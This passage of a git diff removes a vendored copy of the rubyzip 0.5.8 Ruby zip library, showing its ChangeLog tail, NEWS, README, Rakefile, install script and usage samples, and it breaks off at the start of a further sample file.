22:55 uid26649 - - * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and - AbstractInputStream.lineno. Tests for both - -2002-09-09 20:31 thomas - - * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their - AbstractInputStream and AbstractOutputStream now lie about being - kind_of?(IO) - -2002-09-08 16:38 thomas - - * zipfilesystemtest.rb: [no log message] - -2002-09-08 16:07 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved - String additions from filearchive.rb to zip.rb (and moved tests - along too to ziptest.rb). Added ZipEntry.parentAsString and - ZipEntrySet.parent - -2002-09-08 15:28 thomas - - * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound - -2002-09-08 15:17 thomas - - * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for - keeping entries in a zip file. Tagged repository before this - commit, so this change can be rolled back, if it stinks - -2002-09-07 20:21 thomas - - * zip.rb, ziptest.rb: Implemented ZipEntry.<=> - -2002-09-07 14:48 thomas - - * ziptest.rb: Removed unused code - -2002-08-11 15:14 thomas - - * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 - -2002-07-27 15:25 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new - -2002-07-27 00:30 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.pipe - -2002-07-27 00:25 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.link - -2002-07-27 00:23 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink - -2002-07-27 00:20 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module - -2002-07-27 00:14 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.zero? - -2002-07-27 00:01 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for - ZipFsFile.directory? - -2002-07-26 23:56 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.socket? - -2002-07-26 23:50 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.join - -2002-07-26 23:32 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.ftype - -2002-07-26 23:19 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.blockdev? - -2002-07-26 23:12 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.size? (slightly different from size) - -2002-07-26 23:03 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.split - -2002-07-26 23:00 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink? - -2002-07-26 22:58 thomas - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Implemented ZipFsFile.mtime - -2002-07-26 17:08 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? - -2002-07-26 17:06 thomas - - * zip.rb, ziptest.rb: Implemented ZipEntry.file? - -2002-07-26 16:57 thomas - - * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size - -2002-07-26 16:41 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - -2002-07-26 16:40 thomas - - * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries - in it have unix file endings - -2002-07-26 16:12 thomas - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Started implementing ZipFileSystem - -2002-07-26 15:56 thomas - - * test/zipWithDirs.zip: Added a zip file for testing with a - directory structure - -2002-07-22 21:40 thomas - - * TODO: [no log message] - -2002-07-22 17:49 thomas - - * TODO: [no log message] - -2002-07-21 18:20 thomas - - * NEWS: [no log message] - -2002-07-21 18:12 thomas - - * TODO: Updated TODO with a refactoring idea for FileArchive - -2002-07-21 17:59 thomas - - * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd - tests and cleaned up some of the FileArchive tests. extract and - add now have individual test fixtures. - -2002-07-21 16:02 thomas - - * filearchive.rb, filearchivetest.rb: Added tests for extract - called with regex src arg and Enumerable src arg - -2002-07-21 15:37 thomas - - * filearchivetest.rb: Added test for continueOnExistsProc when - extracting from a file archive - -2002-07-20 17:13 thomas - - * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, - test/.cvsignore: Added (failing) tests for FileArchive.add, added - code for creating test files for FileArchive.add tests. Added - fileutils.rb, which is borrowed from ruby 1.7.2 - -2002-07-20 16:07 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - -2002-07-20 16:05 thomas - - * filearchivetest.rb: Added tests for String extensions - -2002-07-20 02:20 thomas - - * alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message] - -2002-07-20 00:42 thomas - - * install.rb: [no log message] - -2002-07-20 00:42 thomas - - * TODO: Updated TODO - -2002-07-20 00:35 thomas - - * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests - run - -2002-07-19 23:11 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - -2002-07-19 19:41 thomas - - * filearchivetest.rb: [no log message] - -2002-07-19 19:06 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - -2002-07-19 18:48 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb: [no log message] - -2002-07-08 13:41 thomas - - * TODO: [no log message] - -2002-06-11 19:47 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log - message] - -2002-05-25 00:41 thomas - - * simpledist.rb: Added hackish script for creating dist files - -2002-04-30 21:22 thomas - - * TODO: [no log message] - -2002-04-30 21:16 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - -2002-04-30 20:40 thomas - - * filearchive.rb, filearchivetest.rb: Improved testing and wrote - some of the skeleton of extract. Still to do: Fix glob, so it - returns a hashmap instead of a list. The map will need to map the - full entry name to the last part of the name (which is only - really interesting for recursively extracted entries, otherwise - it is just the name). Glob.expandPathList should also output - directories with a trailing slash, which is doesn't right now. - -2002-04-30 19:52 thomas - - * filearchive.rb, filearchivetest.rb: Implemented the first few - tests for FileArchive - -2002-04-24 22:06 thomas - - * ziprequire.rb, ziprequiretest.rb: Appended copyright message to - ziprequire.rb and ziprequiretest.rb - -2002-04-24 20:59 thomas - - * zip.rb: Made ZipEntry tolerate invalid dates - -2002-04-21 00:57 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification - date/time correctly - -2002-04-20 02:44 thomas - - * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest - -2002-04-20 02:39 thomas - - * ziprequire.rb: Made a warning go away - -2002-04-20 02:38 thomas - - * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, - test/rubycode.zip: Fixed a bug in ziprequire. Added - ziprequiretest.rb and test data files - -2002-04-19 22:43 thomas - - * zip.rb, ziptest.rb: Added recursion support to Glob module - -2002-04-18 21:37 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest - unit test suite. This module provides the functionality to expand - a 'glob pattern' given a list of files - Next step is to use this - module in ZipFile - -2002-04-01 22:55 thomas - - * NEWS: [no log message] - -2002-04-01 21:16 thomas - - * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a - proof-of-concept implementation of a require implementation that - can load ruby modules from a zip file. Needs unit tests and - polish. - -2002-03-31 01:13 thomas - - * README: [no log message] - -2002-03-30 16:14 thomas - - * TODO: [no log message] - -2002-03-30 01:52 thomas - - * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all - modifiers) to zip.rb. Made README 'RDoc compliant' - -2002-03-29 23:29 thomas - - * TODO: [no log message] - -2002-03-29 23:26 thomas - - * example.rb, samples/.cvsignore, samples/example.rb, - samples/gtkRubyzip.rb: Moved example.rb to samples/. Added - another sample gtkRubyzip.rb - -2002-03-29 20:12 thomas - - * NEWS, TODO: [no log message] - -2002-03-29 20:06 thomas - - * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, - ziptest.rb, test/.cvsignore, test/file1.txt, - test/file1.txt.deflatedData, test/file2.txt, - test/testDirectory.bin: Added test/ directory and moved the - manually created test data files into it. Changed ziptest.rb so - it runs in test/ directory - -2002-03-29 19:43 thomas - - * TODO: [no log message] - -2002-03-29 18:15 thomas - - * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip - entries when changing zip file - -2002-03-29 17:50 thomas - - * zip.rb: Performance optimization: Only write new ZipFile, if it - has been changed. The test suite runs in half the time now. - -2002-03-28 22:12 thomas - - * TODO: [no log message] - -2002-03-23 17:31 thomas - - * TODO: [no log message] - -2002-03-22 22:47 thomas - - * NEWS: [no log message] - -2002-03-22 22:25 thomas - - * NEWS, TODO: [no log message] - -2002-03-22 22:18 thomas - - * ziptest.rb: Found the tests that didn't use blocks to make sure - input streams are closed as soon as they arent used anymore and - got rid of the GC.start - -2002-03-22 22:12 thomas - - * ziptest.rb: All tests run on windows ruby 1.6.6 - -2002-03-22 10:38 thomas - - * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which - needed to open zipfile file in binary mode. Added another - workaround for the return value from File.open(name) where name - is the name of a directory - ruby returns different exceptions in - linux, win/cygwin and windows. A number of tests failed because - in windows you cant delete a file that is open. Fixed by changing - ziptest.rb to use ZipInputStream.getInputStream with blocks a few - places. There is a hack in CommanZipFileFixture.setup where the - GC is explicitly invoked. Should be fixed with blocks instead. - The only currently failing test fails because the test data - creation fails to add a comment to 4entry.zip, because echo eats - the remainder of the line including the pipe character and the - following zip -z 4 entry.zip command - -2002-03-21 22:18 thomas - - * NEWS: [no log message] - -2002-03-21 22:12 thomas - - * NEWS, README, TODO, install.rb: Added install.rb - -2002-03-21 21:45 thomas - - * ziptest.rb: [no log message] - -2002-03-21 20:54 thomas - - * NEWS, TODO: [no log message] - -2002-03-21 20:34 thomas - - * .cvsignore, TODO, zip.rb, ziptest.rb: Added - test_extractDirectoryExistsAsFileOverwrite and fixed to pass - -2002-03-21 20:22 thomas - - * zip.rb, ziptest.rb: Extraction of directory entries is now - supported - -2002-03-20 21:59 thomas - - * NEWS: [no log message] - -2002-03-20 21:24 thomas - - * COPYING, README, README.txt: Removed COPYING, renamed README.txt - to README. Updated README - -2002-03-20 21:18 thomas - - * example.rb: Fixed example.rb added example that shows zip file - manipulation with Zip::ZipFile - -2002-03-20 21:00 thomas - - * .cvsignore: [no log message] - -2002-03-20 20:56 thomas - - * TODO, zip.rb, ziptest.rb: Directories can now be added (not - recursively, the directory entry itself. Directories are - recognized by a empty entries with a trailing /. The purpose of - storing them explicitly in the zip file is to be able to store - permission and ownership information - -2002-03-20 20:08 thomas - - * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was - only included in ziptest.rb - -2002-03-20 19:07 thomas - - * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError - instead of RuntimeError. ZipError now has several subclasses. - -2002-03-19 22:26 thomas - - * TODO: [no log message] - -2002-03-19 22:19 thomas - - * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block - -2002-03-19 22:11 thomas - - * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with - name that already exists in archive, and fixed to pass test - -2002-03-19 21:40 thomas - - * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing - entry - -2002-03-19 20:42 thomas - - * TODO: [no log message] - -2002-03-19 20:40 thomas - - * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with - block - -2002-03-18 21:06 thomas - - * TODO: [no log message] - -2002-03-18 21:05 thomas - - * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. - -2002-03-18 20:42 thomas - - * TODO, zip.rb, ziptest.rb: Refactoring: - - Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. - - Collapsed BasicZipFile and ZipFile into ZipFile. - -2002-03-18 18:05 thomas - - * zip.rb: Removed method that was never called - -2002-03-17 22:33 thomas - - * TODO: [no log message] - -2002-03-17 22:25 thomas - - * ziptest.rb: Run tests with =true as default - -2002-03-17 22:22 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without - warnings - -2002-03-17 21:10 thomas - - * .cvsignore: [no log message] - -2002-03-17 21:04 thomas - - * zip.rb, ziptest.rb: Down to one failing test - -2002-03-17 20:36 thomas - - * zip.rb, ziptest.rb: [no log message] - -2002-03-17 17:22 thomas - - * TODO, zip.rb, ziptest.rb: [no log message] - -2002-02-25 19:42 thomas - - * TODO: Added more todos - -2002-02-23 15:51 thomas - - * zip.rb: [no log message] - -2002-02-23 15:30 thomas - - * zip.rb, ziptest.rb: [no log message] - -2002-02-23 14:16 thomas - - * zip.rb, ziptest.rb: [no log message] - -2002-02-03 18:47 thomas - - * ziptest.rb: [no log message] - -2002-02-02 15:58 thomas - - * example.rb, zip.rb, ziptest.rb: [no log message] - -2002-02-02 00:16 thomas - - * .cvsignore: [no log message] - -2002-02-02 00:14 thomas - - * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to - BasicZipFile - -2002-02-02 00:09 thomas - - * TODO: [no log message] - -2002-02-02 00:01 thomas - - * ziptest.rb: More test cases - all of them failing, so now there - are 18 failing test cases. Three more test cases to implement, - then it is time for the production code - -2002-02-01 21:49 thomas - - * ziptest.rb: [no log message] - -2002-02-01 21:34 thomas - - * ziptest.rb: Also run SimpleZipFile tests for ZipFile. - -2002-02-01 20:11 thomas - - * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. - The new ZipFile will have many more methods that are useful for - managing archives. - -2002-01-29 20:30 thomas - - * TODO: [no log message] - -2002-01-26 00:18 thomas - - * NEWS: [no log message] - -2002-01-26 00:14 thomas - - * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You - get an Errno::EEXISTS instead of an Errno::EISDIR if you try to - open a file for writing that is a directory. - -2002-01-26 00:02 thomas - - * ziptest.rb: Fixed test that failed on windows because of CRLF - line ending - -2002-01-25 23:58 thomas - - * ziptest.rb: [no log message] - -2002-01-25 23:29 thomas - - * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty - deflated entry in zip file - -2002-01-25 23:01 thomas - - * .cvsignore: [no log message] - -2002-01-25 22:56 thomas - - * ziptest.rb: [no log message] - -2002-01-25 22:51 thomas - - * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now - fully functional in the form of ZipOutputStream. - -2002-01-25 21:12 thomas - - * zip.rb, ziptest.rb: [no log message] - -2002-01-25 20:37 thomas - - * zip.rb, ziptest.rb: [no log message] - -2002-01-20 16:00 thomas - - * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. - -2002-01-20 00:39 thomas - - * .cvsignore: [no log message] - -2002-01-20 00:23 thomas - - * .cvsignore: Added .cvsignore file - -2002-01-20 00:09 thomas - - * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor - fixes - -2002-01-19 23:28 thomas - - * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! - - ZipOutputStream in progress - - Wrapped rubyzip in namespace module Zip. - -2002-01-17 18:52 thomas - - * ziptest.rb: Fail nicely if the user doesn't have info-zip - compatible zip in the path - -2002-01-10 18:02 thomas - - * zip.rb: Adjusted chunk size to 32k after a few perf measurements - -2002-01-09 22:10 thomas - - * README.txt: License now same as rubys, not just GPL - -2002-01-06 00:19 thomas - - * README.txt: [no log message] - -2002-01-05 23:09 thomas - - * NEWS, README.txt: Updated NEWS file - -2002-01-05 23:05 thomas - - * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for - decompressors and a tests for ZipLocalEntry, - ZipCentralDirectoryEntry and ZipCentralDirectory for handling of - corrupt data - -2002-01-05 22:21 thomas - - * file1.txt.deflatedData: deflated data extracted from a zip file. - contains file1.txt - -2002-01-05 20:05 thomas - - * zip.rb: Changed references to Inflate to Zlib::inflate for - compatibility with ruby-zlib-0.5 - -2002-01-05 19:28 thomas - - * README.txt, zip.rb, ziptest.rb: [no log message] - -2002-01-05 01:52 thomas - - * example.rb, NEWS: [no log message] - -2002-01-05 01:37 thomas - - * COPYING, README.txt: [no log message] - -2002-01-05 01:31 thomas - - * ziptest.rb: Fixed problem with test file creation - -2002-01-05 01:15 thomas - - * README.txt: Updated README.txt - -2002-01-05 01:13 thomas - - * zip.rb, ziptest.rb: ZipFile now works - -2002-01-04 21:51 thomas - - * testDirectory.bin, zip.rb, ziptest.rb: - ZipCentralDirectoryEntryTest now runs - -2002-01-04 18:40 thomas - - * ziptest.rb: Changed - ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry - so it works on both unix too. It only worked on windows because - the test made assumptions about the compressed size and crc of an - entry, but that differs depending on the OS because of the CRLF - thing. - -2002-01-04 18:37 thomas - - * README.txt: Added note about zlib.c patch - -2002-01-02 18:48 thomas - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: Initial revision - -2002-01-02 18:48 thomas - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: initial - diff --git a/vendor/rubyzip-0.5.8/NEWS b/vendor/rubyzip-0.5.8/NEWS deleted file mode 100644 index 37911fdb..00000000 --- a/vendor/rubyzip-0.5.8/NEWS +++ /dev/null @@ -1,110 +0,0 @@ -= Version 0.5.8 - -Fixed install script. - -= Version 0.5.7 - -install.rb no longer assumes it is being run from the toplevel source -dir. Directory structure changed to reflect common ruby library -project structure. Migrated from RubyUnit to Test::Unit format. Now -uses Rake to build source packages and gems and run unit tests. - -= Version 0.5.6 - -Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of -Errno::EINVAL for some invalid seeks. Fixed 'version needed to -extract'-field incorrect in local headers. - -= Version 0.5.5 - -Fix for a problem with writing zip files that concerns only ruby 1.8.1. - -= Version 0.5.4 - -Significantly reduced memory footprint when modifying zip files. - -= Version 0.5.3 - -Added optimization to avoid decompressing and recompressing individual -entries when modifying a zip archive. - -= Version 0.5.2 - -Fixed ZipFile corruption bug in ZipFile class. Added basic unix -extra-field support. - -= Version 0.5.1 - -Fixed ZipFile.get_output_stream bug. - -= Version 0.5.0 - -List of changes: -* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility -* Changed method names from camelCase to rubys underscore style. -* Installs to zip/ subdir instead of directly to site_ruby -* Added ZipFile.directory and ZipFile.file - each method return an -object that can be used like Dir and File only for the contents of the -zip file. -* Added sample application zipfind which works like Find.find, only -Zip::ZipFind.find traverses into zip archives too. - -Bug fixes: -* AbstractInputStream.each_line with non-default separator - - -= Version 0.5.0a - -Source reorganized. Added ziprequire, which can be used to load ruby -modules from a zip file, in a fashion similar to jar files in -Java. Added gtkRubyzip, another sample application. Implemented -ZipInputStream.lineno and ZipInputStream.rewind - -Bug fixes: - -* Read and write date and time information correctly for zip entries. -* Fixed read() using separate buffer, causing mix of gets/readline/read to -cause problems. - -= Version 0.4.2 - -Performance optimizations. Test suite runs in half the time. - -= Version 0.4.1 - -Windows compatibility fixes. - -= Version 0.4.0 - -Zip::ZipFile is now mutable and provides a more convenient way of -modifying zip archives than Zip::ZipOutputStream. Operations for -adding, extracting, renaming, replacing and removing entries to zip -archives are now available. - -Runs without warnings with -w switch. - -Install script install.rb added. - - -= Version 0.3.1 - -Rudimentary support for writing zip archives. - - -= Version 0.2.2 - -Fixed and extended unit test suite. Updated to work with ruby/zlib -0.5. It doesn't work with earlier versions of ruby/zlib. - - -= Version 0.2.0 - -Class ZipFile added. Where ZipInputStream is used to read the -individual entries in a zip file, ZipFile reads the central directory -in the zip archive, so you can get to any entry in the zip archive -without having to skipping through all the preceeding entries. - - -= Version 0.1.0 - -First working version of ZipInputStream. diff --git a/vendor/rubyzip-0.5.8/README b/vendor/rubyzip-0.5.8/README deleted file mode 100644 index 6ed15a92..00000000 --- a/vendor/rubyzip-0.5.8/README +++ /dev/null @@ -1,70 +0,0 @@ -= rubyzip - -rubyzip is a ruby library for reading and writing zip files. - -= Install - -If you have rubygems you can install rubyzip directly from the gem -repository - - gem install rubyzip - -Otherwise obtain the source (see below) and run - - ruby install.rb - -To run the unit tests you need to have test::unit installed - - rake test - - -= Documentation - -There is more than one way to access or create a zip archive with -rubyzip. The basic API is modeled after the classes in -java.util.zip from the Java SDK. This means there are classes such -as Zip::ZipInputStream, Zip::ZipOutputStream and -Zip::ZipFile. Zip::ZipInputStream provides a basic interface for -iterating through the entries in a zip archive and reading from the -entries in the same way as from a regular File or IO -object. ZipOutputStream is the corresponding basic output -facility. Zip::ZipFile provides a mean for accessing the archives -central directory and provides means for accessing any entry without -having to iterate through the archive. Unlike Java's -java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means -it can be used to change zip files as well. - -Another way to access a zip archive with rubyzip is to use rubyzip's -Zip::ZipFileSystem API. Using this API files can be read from and -written to the archive in much the same manner as ruby's builtin -classes allows files to be read from and written to the file system. - -rubyzip also features the -zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which -allows ruby to load ruby modules from zip archives. - -For details about the specific behaviour of classes and methods refer -to the test suite. Finally you can generate the rdoc documentation or -visit http://rubyzip.sourceforge.net. - -= License - -rubyzip is distributed under the same license as ruby. See -http://www.ruby-lang.org/en/LICENSE.txt - - -= Website and Project Home - -http://rubyzip.sourceforge.net - -http://sourceforge.net/projects/rubyzip - -== Download (tarballs and gems) - -http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377 - -= Authors - -Thomas Sondergaard (thomas at sondergaard.cc) - -extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) diff --git a/vendor/rubyzip-0.5.8/Rakefile b/vendor/rubyzip-0.5.8/Rakefile deleted file mode 100644 index 03b65c2d..00000000 --- a/vendor/rubyzip-0.5.8/Rakefile +++ /dev/null @@ -1,110 +0,0 @@ -# Rakefile for RubyGems -*- ruby -*- - -require 'rubygems' -require 'rake/clean' -require 'rake/testtask' -require 'rake/packagetask' -require 'rake/gempackagetask' -require 'rake/rdoctask' -require 'rake/contrib/sshpublisher' -require 'net/ftp' - -PKG_NAME = 'rubyzip' -PKG_VERSION = File.read('lib/zip/zip.rb').match(/\s+VERSION\s*=\s*'(.*)'/)[1] - -PKG_FILES = FileList.new - -PKG_FILES.add %w{ README NEWS TODO ChangeLog install.rb Rakefile } -PKG_FILES.add %w{ samples/*.rb } -PKG_FILES.add %w{ test/*.rb } -PKG_FILES.add %w{ test/data/* } -PKG_FILES.exclude "test/data/generated" -PKG_FILES.add %w{ lib/**/*.rb } - -def clobberFromCvsIgnore(path) - CLOBBER.add File.readlines(path+'/.cvsignore').map { - |f| File.join(path, f.chomp) - } -end - -clobberFromCvsIgnore '.' -clobberFromCvsIgnore 'samples' -clobberFromCvsIgnore 'test' -clobberFromCvsIgnore 'test/data' - -task :default => [:test] - -desc "Run unit tests" -task :test do - ruby %{-C test alltests.rb} -end - -# Shortcuts for test targets -task :ut => [:test] - -spec = Gem::Specification.new do |s| - s.name = PKG_NAME - s.version = PKG_VERSION - s.author = "Thomas Sondergaard" - s.email = "thomas(at)sondergaard.cc" - s.homepage = "http://rubyzip.sourceforge.net/" - s.platform = Gem::Platform::RUBY - s.summary = "rubyzip is a ruby module for reading and writing zip files" - s.files = PKG_FILES.to_a #Dir.glob("{samples,lib,test,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc") || item =~ /~$/ } - s.require_path = 'lib' - s.autorequire = 'zip/zip' -end - -Rake::GemPackageTask.new(spec) do |pkg| - pkg.need_zip = true - pkg.need_tar = true -end - -Rake::RDocTask.new do |rd| - rd.main = "README" - rd.rdoc_files.add %W{ lib/zip/*.rb README NEWS TODO ChangeLog } - rd.options << "--title 'rubyzip documentation' --webcvs http://cvs.sourceforge.net/viewcvs.py/rubyzip/rubyzip/" -# rd.options << "--all" -end - -desc "Publish documentation" -task :pdoc => [:rdoc] do - Rake::SshFreshDirPublisher. - new("thomas@rubyzip.sourceforge.net", "rubyzip/htdocs", "html").upload -end - -desc "Publish package" -task :ppackage => [:package] do - Net::FTP.open("upload.sourceforge.net", - "ftp", - ENV['USER']+"@"+ENV['HOSTNAME']) { - |ftpclient| - ftpclient.chdir "incoming" - Dir['pkg/*.{tgz,zip,gem}'].each { - |e| - ftpclient.putbinaryfile(e, File.basename(e)) - } - } -end - -desc "Generate the ChangeLog file" -task :ChangeLog do - puts "Updating ChangeLog" - system %{cvs2cl} -end - -desc "Make a release" -task :release => [:tag_release, :pdoc, :ppackage] do -end - -desc "Make a release tag" -task :tag_release do - tag = "release-#{PKG_VERSION.gsub('.','-')}" - - puts "Checking for tag '#{tag}'" - if (Regexp.new("^\\s+#{tag}") =~ `cvs log README`) - abort "Tag '#{tag}' already exists" - end - puts "Tagging module with '#{tag}'" - system("cvs tag #{tag}") -end diff --git a/vendor/rubyzip-0.5.8/TODO b/vendor/rubyzip-0.5.8/TODO deleted file mode 100644 index 457298c6..00000000 --- a/vendor/rubyzip-0.5.8/TODO +++ /dev/null @@ -1,9 +0,0 @@ - -* Fix problem with mixing AbstractInputStream::gets and AbstractInputStream::read -* Implement ZipFsDir.glob -* ZipFile.checkIntegrity method -* non-MSDOS permission attributes -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* Packager version, required unpacker version in zip headers -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* implement storing attributes and ownership information diff --git a/vendor/rubyzip-0.5.8/install.rb b/vendor/rubyzip-0.5.8/install.rb deleted file mode 100644 index 405e2b0b..00000000 --- a/vendor/rubyzip-0.5.8/install.rb +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rbconfig' -require 'find' -require 'ftools' - -include Config - -files = %w{ stdrubyext.rb ioextras.rb zip.rb zipfilesystem.rb ziprequire.rb tempfile_bugfixed.rb } - -INSTALL_DIR = File.join(CONFIG["sitelibdir"], "zip") -File.makedirs(INSTALL_DIR) - -SOURCE_DIR = File.join(File.dirname($0), "lib/zip") - -files.each { - |filename| - installPath = File.join(INSTALL_DIR, filename) - File::install(File.join(SOURCE_DIR, filename), installPath, 0644, true) -} diff --git a/vendor/rubyzip-0.5.8/samples/example.rb b/vendor/rubyzip-0.5.8/samples/example.rb deleted file mode 100644 index 741afa76..00000000 --- a/vendor/rubyzip-0.5.8/samples/example.rb +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" -system("zip example.zip example.rb gtkRubyzip.rb") - -require 'zip/zip' - -####### Using ZipInputStream alone: ####### - -Zip::ZipInputStream.open("example.zip") { - |zis| - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" -} - - -####### Using ZipFile to read the directory of a zip file: ####### - -zf = Zip::ZipFile.new("example.zip") -zf.each_with_index { - |entry, index| - - puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" - # use zf.get_input_stream(entry) to get a ZipInputStream for the entry - # entry can be the ZipEntry object or any object which has a to_s method that - # returns the name of the entry. -} - - -####### Using ZipOutputStream to write a zip file: ####### - -Zip::ZipOutputStream.open("exampleout.zip") { - |zos| - zos.put_next_entry("the first little entry") - zos.puts "Hello hello hello hello hello hello hello hello hello" - - zos.put_next_entry("the second little entry") - zos.puts "Hello again" - - # Use rubyzip or your zip client of choice to verify - # the contents of exampleout.zip -} - -####### Using ZipFile to change a zip file: ####### - -Zip::ZipFile.open("exampleout.zip") { - |zf| - zf.add("thisFile.rb", "example.rb") - zf.rename("thisFile.rb", "ILikeThisName.rb") - zf.add("Again", "example.rb") -} - -# Lets check -Zip::ZipFile.open("exampleout.zip") { - |zf| - puts "Changed zip file contains: #{zf.entries.join(', ')}" - zf.remove("Again") - puts "Without 'Again': #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.8/samples/example_filesystem.rb b/vendor/rubyzip-0.5.8/samples/example_filesystem.rb deleted file mode 100644 index 867e8d4f..00000000 --- a/vendor/rubyzip-0.5.8/samples/example_filesystem.rb +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zipfilesystem' -require 'ftools' - -EXAMPLE_ZIP = "filesystem.zip" - -File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) - -Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { - |zf| - zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } - zf.dir.mkdir("dir1") - zf.dir.chdir("dir1") - zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } - puts zf.file.read("file1.txt") - puts zf.file.read("../file1.txt") - zf.dir.chdir("..") - zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } - puts "Entries: #{zf.entries.join(', ')}" -} - -Zip::ZipFile.open(EXAMPLE_ZIP) { - |zf| - puts "Entries from reloaded zip: #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb b/vendor/rubyzip-0.5.8/samples/gtkRubyzip.rb deleted file mode 100644 index 